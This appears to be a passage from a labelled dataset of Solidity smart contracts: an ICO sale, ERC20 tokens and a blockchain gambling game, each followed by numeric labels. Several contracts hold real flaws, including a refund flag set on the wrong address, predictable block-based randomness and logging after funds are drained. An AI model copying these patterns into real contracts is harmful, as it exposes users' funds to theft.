mapping (uint => address) participantIndex;
mapping (address => uint256) participantContribution;
bool icoHasStarted;
bool minTresholdReached;
bool icoHasSucessfulyEnded;
uint256 blocksInWeek;
bool ownerHasClaimedTokens;
uint256 lastEthReturnIndex;
mapping (address => bool) hasClaimedEthWhenFail;
event ICOStarted(uint256 _blockNumber);
event ICOMinTresholdReached(uint256 _blockNumber);
event ICOEndedSuccessfuly(uint256 _blockNumber, uint256 _amountRaised);
event ICOFailed(uint256 _blockNumber, uint256 _ammountRaised);
event ErrorSendingETH(address _from, uint256 _amount);
function SunContractIco(uint256 _startBlock, address _multisigAddress) {
blocksInWeek = 4 * 60 * 24 * 7;
startBlock = _startBlock;
endBlock = _startBlock + blocksInWeek * 4;
minEthToRaise = 5000 * 10**18;
maxEthToRaise = 100000 * 10**18;
multisigAddress = _multisigAddress;
}
function () payable {
if (msg.value == 0) throw;
if (icoHasSucessfulyEnded || block.number > endBlock) throw;
if (!icoHasStarted){
if (block.number >= startBlock){
icoHasStarted = true;
ICOStarted(block.number);
} else{
throw;
}
}
if (participantContribution[msg.sender] == 0){
participantIndex[nextFreeParticipantIndex] = msg.sender;
nextFreeParticipantIndex += 1;
}
if (maxEthToRaise > (totalEthRaised + msg.value)){
participantContribution[msg.sender] += msg.value;
totalEthRaised += msg.value;
sncTokenContract.mintTokens(msg.sender, getSncTokenIssuance(block.number, msg.value));
if (!minTresholdReached && totalEthRaised >= minEthToRaise){
ICOMinTresholdReached(block.number);
minTresholdReached = true;
}
}else{
uint maxContribution = maxEthToRaise - totalEthRaised;
participantContribution[msg.sender] += maxContribution;
totalEthRaised += maxContribution;
sncTokenContract.mintTokens(msg.sender, getSncTokenIssuance(block.number, maxContribution));
uint toReturn = msg.value - maxContribution;
icoHasSucessfulyEnded = true;
ICOEndedSuccessfuly(block.number, totalEthRaised);
if(!msg.sender.send(toReturn)){
ErrorSendingETH(msg.sender, toReturn);
}
}
}
function claimEthIfFailed(){
if (block.number <= endBlock || totalEthRaised >= minEthToRaise) throw;
if (participantContribution[msg.sender] == 0) throw;
if (hasClaimedEthWhenFail[msg.sender]) throw;
uint256 ethContributed = participantContribution[msg.sender];
hasClaimedEthWhenFail[msg.sender] = true;
if (!msg.sender.send(ethContributed)){
ErrorSendingETH(msg.sender, ethContributed);
}
}
function addPresaleContributors(address[] _presaleContributors) onlyOwner {
for (uint cnt = 0; cnt < _presaleContributors.length; cnt++){
presaleContributorAllowance[_presaleContributors[cnt]] = true;
}
}
function batchReturnEthIfFailed(uint256 _numberOfReturns) onlyOwner{
if (block.number < endBlock || totalEthRaised >= minEthToRaise) throw;
address currentParticipantAddress;
uint256 contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++){
currentParticipantAddress = participantIndex[lastEthReturnIndex];
if (currentParticipantAddress == 0x0) return;
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {
contribution = participantContribution[currentParticipantAddress];
hasClaimedEthWhenFail[msg.sender] = true;
if (!currentParticipantAddress.send(contribution)){
ErrorSendingETH(currentParticipantAddress, contribution);
}
}
lastEthReturnIndex += 1;
}
}
function changeMultisigAddress(address _newAddress) onlyOwner {
multisigAddress = _newAddress;
}
function claimCoreTeamsTokens(address _to) onlyOwner{
if (!icoHasSucessfulyEnded) throw;
if (ownerHasClaimedTokens) throw;
sncTokenContract.mintTokens(_to, sncTokenContract.totalSupply() * 25 / 100);
ownerHasClaimedTokens = true;
}
function removePresaleContributor(address _presaleContributor) onlyOwner {
presaleContributorAllowance[_presaleContributor] = false;
}
function setTokenContract(address _sncTokenContractAddress) onlyOwner {
sncTokenContract = ISncToken(_sncTokenContractAddress);
}
function withdrawEth() onlyOwner{
if (this.balance == 0) throw;
if (totalEthRaised < minEthToRaise) throw;
if(multisigAddress.send(this.balance)){}
}
function endIco() onlyOwner {
if (totalEthRaised < minEthToRaise) throw;
if (block.number < endBlock) throw;
icoHasSucessfulyEnded = true;
ICOEndedSuccessfuly(block.number, totalEthRaised);
}
function withdrawRemainingBalanceForManualRecovery() onlyOwner{
if (this.balance == 0) throw;
if (block.number < endBlock) throw;
if (participantIndex[lastEthReturnIndex] != 0x0) throw;
if (multisigAddress.send(this.balance)){}
}
function getSncTokenAddress() constant returns(address _tokenAddress){
return address(sncTokenContract);
}
function icoInProgress() constant returns (bool answer){
return icoHasStarted && !icoHasSucessfulyEnded;
}
function isAddressAllowedInPresale(address _querryAddress) constant returns (bool answer){
return presaleContributorAllowance[_querryAddress];
}
function participantContributionInEth(address _querryAddress) constant returns (uint256 answer){
return participantContribution[_querryAddress];
}
function getSncTokenIssuance(uint256 _blockNumber, uint256 _ethSent) constant returns(uint){
if (_blockNumber >= startBlock && _blockNumber < blocksInWeek + startBlock) {
if (presaleContributorAllowance[msg.sender]) return _ethSent * 11600;
else return _ethSent * 11500;
}
if (_blockNumber >= blocksInWeek + startBlock && _blockNumber < blocksInWeek * 2 + startBlock) return _ethSent * 11000;
if (_blockNumber >= blocksInWeek * 2 + startBlock && _blockNumber < blocksInWeek * 3 + startBlock) return _ethSent * 10500;
if (_blockNumber >= blocksInWeek * 3 + startBlock && _blockNumber <= blocksInWeek * 4 + startBlock) return _ethSent * 10000;
}
} | 1 | 5,032 |
pragma solidity ^0.4.11;
contract Bithemoth {
string public name = "Bithemoth";
string public symbol = "BHM";
uint256 public decimals = 18;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
uint256 public totalSupply = 0;
bool public stopped = false;
uint256 constant valueFounder = 200000000000000000000000000;
address owner = 0x0;
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert (!stopped);
_;
}
modifier validAddress {
assert(0x0 != msg.sender);
_;
}
function Bithemoth(address _addressFounder) {
owner = msg.sender;
totalSupply = valueFounder;
balanceOf[_addressFounder] = valueFounder;
Transfer(0x0, _addressFounder, valueFounder);
}
function transfer(address _to, uint256 _value) isRunning validAddress returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) isRunning validAddress returns (bool success) {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) isRunning validAddress returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function stop() isOwner {
stopped = true;
}
function start() isOwner {
stopped = false;
}
function setName(string _name) isOwner {
name = _name;
}
function burn(uint256 _value) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[0x0] += _value;
Transfer(msg.sender, 0x0, _value);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 3,216 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address _to, uint256 _value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Play0x_Gashapon_MITH {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint40;
using SafeMath for uint8;
uint public jackpotSize;
uint public tokenJackpotSize;
uint public MIN_BET;
uint public MAX_BET;
uint public MAX_AMOUNT;
uint public maxProfit;
uint public maxTokenProfit;
uint8 public platformFeePercentage = 15;
uint8 public jackpotFeePercentage = 5;
uint8 public ERC20rewardMultiple = 5;
uint constant BetExpirationBlocks = 250;
uint public lockedInBets;
uint public lockedTokenInBets;
bytes32 bitComparisonMask = 0xF;
address public owner;
address private nextOwner;
address public manager;
address private nextManager;
address public secretSigner;
address public ERC20ContractAddres;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Bet {
uint amount;
uint40 placeBlockNumber;
address gambler;
}
mapping (uint => Bet) public bets;
uint32[] public withdrawalMode = [1,140770,2,75400,3,51600,4,39200,5,30700,6,25900,7,22300,8,19700,9,17200,10,15600,11,14200,12,13300,13,12000,14,11000,15,10400 ];
event PlaceBetLog(address indexed player, uint amount,uint8 rotateTime);
event ToManagerPayment(address indexed beneficiary, uint amount);
event ToManagerFailedPayment(address indexed beneficiary, uint amount);
event ToOwnerPayment(address indexed beneficiary, uint amount);
event ToOwnerFailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event TokenPayment(address indexed beneficiary, uint amount);
event FailedTokenPayment(address indexed beneficiary, uint amount);
event JackpotBouns(address indexed beneficiary, uint amount);
event TokenJackpotBouns(address indexed beneficiary, uint amount);
event BetRelatedData(
address indexed player,
uint playerBetAmount,
uint playerGetAmount,
bytes32 entropy,
bytes32 entropy2,
uint8 Uplimit,
uint8 rotateTime
);
constructor () public {
owner = msg.sender;
manager = DUMMY_ADDRESS;
secretSigner = DUMMY_ADDRESS;
ERC20ContractAddres = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
modifier onlyManager {
require (msg.sender == manager);
_;
}
modifier onlyOwnerManager {
require (msg.sender == owner || msg.sender == manager);
_;
}
modifier onlySigner {
require (msg.sender == secretSigner);
_;
}
function initialParameter(address _manager,address _secretSigner,address _erc20tokenAddress ,uint _MIN_BET,uint _MAX_BET,uint _maxProfit,uint _maxTokenProfit, uint _MAX_AMOUNT, uint8 _platformFeePercentage,uint8 _jackpotFeePercentage,uint8 _ERC20rewardMultiple)external onlyOwner{
manager = _manager;
secretSigner = _secretSigner;
ERC20ContractAddres = _erc20tokenAddress;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
maxProfit = _maxProfit;
maxTokenProfit = _maxTokenProfit;
MAX_AMOUNT = _MAX_AMOUNT;
platformFeePercentage = _platformFeePercentage;
jackpotFeePercentage = _jackpotFeePercentage;
ERC20rewardMultiple = _ERC20rewardMultiple;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner);
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner);
owner = nextOwner;
}
function approveNextManager(address _nextManager) external onlyManager {
require (_nextManager != manager);
nextManager = _nextManager;
}
function acceptNextManager() external {
require (msg.sender == nextManager);
manager = nextManager;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setTokenAddress(address _tokenAddress) external onlyManager {
ERC20ContractAddres = _tokenAddress;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT);
maxProfit = _maxProfit;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance);
uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= address(this).balance);
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function withdrawToken(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
uint safetyAmount = tokenJackpotSize.add(lockedTokenInBets);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
ERC20(ERC20ContractAddres).transfer(beneficiary, withdrawAmount);
emit TokenPayment(beneficiary, withdrawAmount);
}
function withdrawAllFunds(address beneficiary) external onlyOwner {
if (beneficiary.send(address(this).balance)) {
lockedInBets = 0;
emit Payment(beneficiary, address(this).balance);
} else {
emit FailedPayment(beneficiary, address(this).balance);
}
}
function withdrawAlltokenFunds(address beneficiary) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
lockedTokenInBets = 0;
emit TokenPayment(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
}
function kill() external onlyOwner {
require (lockedInBets == 0);
require (lockedTokenInBets == 0);
selfdestruct(owner);
}
function getContractInformation()public view returns(
uint _jackpotSize,
uint _tokenJackpotSize,
uint _MIN_BET,
uint _MAX_BET,
uint _MAX_AMOUNT,
uint8 _platformFeePercentage,
uint8 _jackpotFeePercentage,
uint _maxProfit,
uint _maxTokenProfit,
uint _lockedInBets,
uint _lockedTokenInBets,
uint32[] _withdrawalMode){
_jackpotSize = jackpotSize;
_tokenJackpotSize = tokenJackpotSize;
_MIN_BET = MIN_BET;
_MAX_BET = MAX_BET;
_MAX_AMOUNT = MAX_AMOUNT;
_platformFeePercentage = platformFeePercentage;
_jackpotFeePercentage = jackpotFeePercentage;
_maxProfit = maxProfit;
_maxTokenProfit = maxTokenProfit;
_lockedInBets = lockedInBets;
_lockedTokenInBets = lockedTokenInBets;
_withdrawalMode = withdrawalMode;
}
function getContractAddress()public view returns(
address _owner,
address _manager,
address _secretSigner,
address _ERC20ContractAddres ){
_owner = owner;
_manager= manager;
_secretSigner = secretSigner;
_ERC20ContractAddres = ERC20ContractAddres;
}
enum PlaceParam {
RotateTime,
possibleWinAmount
}
function placeBet(uint[] placParameter, bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v) external payable {
require (uint8(placParameter[uint8(PlaceParam.RotateTime)]) != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedInBets = lockedInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= msg.value.add(maxProfit));
require (lockedInBets <= address(this).balance);
bet.amount = msg.value;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
emit PlaceBetLog(msg.sender, msg.value, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function placeTokenBet(uint[] placParameter,bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v,uint _amount,address _playerAddress) external {
require (placParameter[uint8(PlaceParam.RotateTime)] != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedTokenInBets = lockedTokenInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= _amount.add(maxTokenProfit));
require (lockedTokenInBets <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
bet.amount = _amount;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = _playerAddress;
emit PlaceBetLog(_playerAddress, _amount, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function getBonusPercentageByMachineMode(uint8 machineMode)public view returns( uint upperLimit,uint maxWithdrawalPercentage ){
uint limitIndex = machineMode.mul(2);
upperLimit = withdrawalMode[limitIndex];
maxWithdrawalPercentage = withdrawalMode[(limitIndex.add(1))];
}
enum SettleParam {
Uplimit,
BonusPercentage,
RotateTime,
CurrencyType,
MachineMode,
PerWinAmount,
PerBetAmount,
PossibleWinAmount,
LuckySeed,
jackpotFee
}
function settleBet(uint[] combinationParameter, uint reveal) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (bet.amount != 0);
require (block.number <= bet.placeBlockNumber.add(BetExpirationBlocks));
bytes32 _entropy = keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
reveal,
blockhash(combinationParameter[uint8(SettleParam.LuckySeed)])
)
)
),
blockhash(block.number)
)
)
),
blockhash(block.timestamp)
)
);
uint totalAmount = 0;
uint totalTokenAmount = 0;
uint totalJackpotWin = 0;
(totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(combinationParameter,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))));
if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
emit JackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
jackpotSize = uint128(jackpotSize.sub(totalJackpotWin));
}else if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
emit TokenJackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
tokenJackpotSize = uint128(tokenJackpotSize.sub(totalJackpotWin));
}
emit BetRelatedData(bet.gambler,bet.amount,totalAmount,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))),uint8(combinationParameter[uint8(SettleParam.Uplimit)]),uint8(combinationParameter[uint8(SettleParam.RotateTime)]));
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
if (totalAmount != 0){
sendFunds(bet.gambler, totalAmount , totalAmount);
}
if (totalTokenAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalTokenAmount);
emit TokenPayment(bet.gambler, totalTokenAmount);
}
}
}else if(combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
if (totalAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalAmount);
emit TokenPayment(bet.gambler, totalAmount);
}
}
}
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
lockedInBets = lockedInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
} else if (combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
lockedTokenInBets = lockedTokenInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
}
bet.amount = 0;
if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0) {
jackpotSize = jackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}else if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 1) {
tokenJackpotSize = tokenJackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}
}
function runRotateTime ( uint[] combinationParameter, bytes32 _entropy ,bytes32 _entropy2)private view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin) {
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 tmp_entropy;
bytes32 tmp_Mask = resultMask;
bool isGetJackpot = false;
for (uint8 i = 0; i < combinationParameter[uint8(SettleParam.RotateTime)]; i++) {
if (i < 64){
tmp_entropy = _entropy & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*(64 - (i.add(1))));
tmp_Mask = tmp_Mask >> 4;
}else{
if ( i == 64){
tmp_Mask = resultMask;
}
tmp_entropy = _entropy2 & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*( 64 - (i%63)));
tmp_Mask = tmp_Mask >> 4;
}
if ( uint(tmp_entropy) < uint(combinationParameter[uint8(SettleParam.Uplimit)]) ){
totalAmount = totalAmount.add(combinationParameter[uint8(SettleParam.PerWinAmount)]);
uint platformFees = combinationParameter[uint8(SettleParam.PerBetAmount)].mul(platformFeePercentage);
platformFees = platformFees.div(1000);
totalAmount = totalAmount.sub(platformFees);
}else{
if (uint(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
uint rewardAmount = uint(combinationParameter[uint8(SettleParam.PerBetAmount)]).mul(ERC20rewardMultiple);
totalTokenAmount = totalTokenAmount.add(rewardAmount);
}
}
}
if (isGetJackpot == false){
isGetJackpot = getJackpotWinBonus(i,_entropy,_entropy2);
}
}
if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
totalJackpotWin = jackpotSize;
}else if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
totalJackpotWin = tokenJackpotSize;
}
}
function getJackpotWinBonus (uint8 i,bytes32 entropy,bytes32 entropy2) private pure returns (bool isGetJackpot) {
bytes32 one;
bytes32 two;
bytes32 three;
bytes32 four;
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 jackpo_Mask = resultMask;
if (i < 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy & jackpo_Mask) >> (4*(64 - (i + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
else if(i >= 61){
if(i == 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
}
else if(i == 62){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
three = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
four = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
}
else if(i == 63){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
two = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0x00F0000000000000000000000000000000000000000000000000000000000000) >> 4*61;
jackpo_Mask = 0xF000000000000000000000000000000000000000000000000000000000000000;
}
else {
one = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 1)));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 2))) ;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 3))) ;
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy2 & jackpo_Mask) >>(4*( 64 - (i%64 + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
}
if ((one ^ 0xF) == 0 && (two ^ 0xF) == 0 && (three ^ 0xF) == 0 && (four ^ 0xF) == 0){
isGetJackpot = true;
}
}
function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) {
uint prePlatformFee = (senderValue).mul(platformFeePercentage);
platformFee = (prePlatformFee).div(1000);
uint preJackpotFee = (senderValue).mul(jackpotFeePercentage);
jackpotFee = (preJackpotFee).div(1000);
uint preUserGetAmount = senderValue.mul(bonusPercentage);
possibleWinAmount = preUserGetAmount.div(10000);
}
function refundBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedInBets = lockedInBets.sub(possibleWinAmount);
sendFunds(bet.gambler, amount, amount);
}
function refundTokenBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedTokenInBets = uint128(lockedTokenInBets.sub(possibleWinAmount));
ERC20(ERC20ContractAddres).transfer(bet.gambler, amount);
emit TokenPayment(bet.gambler, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) {
return;
}
bet.placeBlockNumber = 0;
bet.gambler = address(0);
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function sendFundsToManager(uint amount) external onlyOwner {
if (manager.send(amount)) {
emit ToManagerPayment(manager, amount);
} else {
emit ToManagerFailedPayment(manager, amount);
}
}
function sendTokenFundsToManager( uint amount) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(manager, amount);
emit TokenPayment(manager, amount);
}
function sendFundsToOwner(address beneficiary, uint amount) external onlyOwner {
if (beneficiary.send(amount)) {
emit ToOwnerPayment(beneficiary, amount);
} else {
emit ToOwnerFailedPayment(beneficiary, amount);
}
}
function updateMIN_BET(uint _uintNumber)public onlyManager {
MIN_BET = _uintNumber;
}
function updateMAX_BET(uint _uintNumber)public onlyManager {
MAX_BET = _uintNumber;
}
function updateMAX_AMOUNT(uint _uintNumber)public onlyManager {
MAX_AMOUNT = _uintNumber;
}
function updateWithdrawalModeByIndex(uint8 _index, uint32 _value) public onlyManager{
withdrawalMode[_index] = _value;
}
function updateWithdrawalMode( uint32[] _withdrawalMode) public onlyManager{
withdrawalMode = _withdrawalMode;
}
function updateBitComparisonMask(bytes32 _newBitComparisonMask ) public onlyOwner{
bitComparisonMask = _newBitComparisonMask;
}
function updatePlatformFeePercentage(uint8 _platformFeePercentage ) public onlyOwner{
platformFeePercentage = _platformFeePercentage;
}
function updateJackpotFeePercentage(uint8 _jackpotFeePercentage ) public onlyOwner{
jackpotFeePercentage = _jackpotFeePercentage;
}
function updateERC20rewardMultiple(uint8 _ERC20rewardMultiple ) public onlyManager{
ERC20rewardMultiple = _ERC20rewardMultiple;
}
} | 0 | 837 |
pragma solidity ^0.4.18;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract FIND is EIP20Interface, Pausable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function FIND() public {
totalSupply = (10 ** 8 * 1000) * (10 ** 18);
balances[msg.sender] = (10 ** 8 * 1000) * (10 ** 18);
name = 'FIND Token';
decimals = 18;
symbol = 'FIND';
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(balances[msg.sender] >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
allowed[msg.sender][_spender] = _value;
